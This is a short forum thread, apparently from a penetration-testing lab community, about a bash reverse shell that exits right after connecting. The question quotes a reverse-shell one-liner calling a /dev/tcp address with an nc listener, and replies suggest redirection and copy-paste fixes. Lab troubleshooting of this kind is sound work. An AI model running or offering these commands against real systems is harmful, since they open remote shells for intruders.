Reverse shell exit immediately after connected

Hello guys,
Every time I use bash -c 'bash -i >& /dev/tcp/10.10.16.5/4444 2>&1 to connect nc -lvnp 4444
It exits immediately by auto type ‘exit’.
My OS is ubuntu and parrot os.

I would try to analyze the source of the exit command call.

Perhaps Manual page Bash-Startup-Files can help.

Solved, this command is wrong, “2>&1” should change to “1>&0”
lol

1 Like

For anyone running around googling why reverse a shell command is exiting or terminating; I had a similar issue with a different resolution.

When I was copying the bash script from my notefile (gitbook), it was copying over with additional white space that was affecting the URL encoding I was doing. Once I copied the code into a simple notepad, and then copied that code into my URL encoder, the reverse shell worked just fine.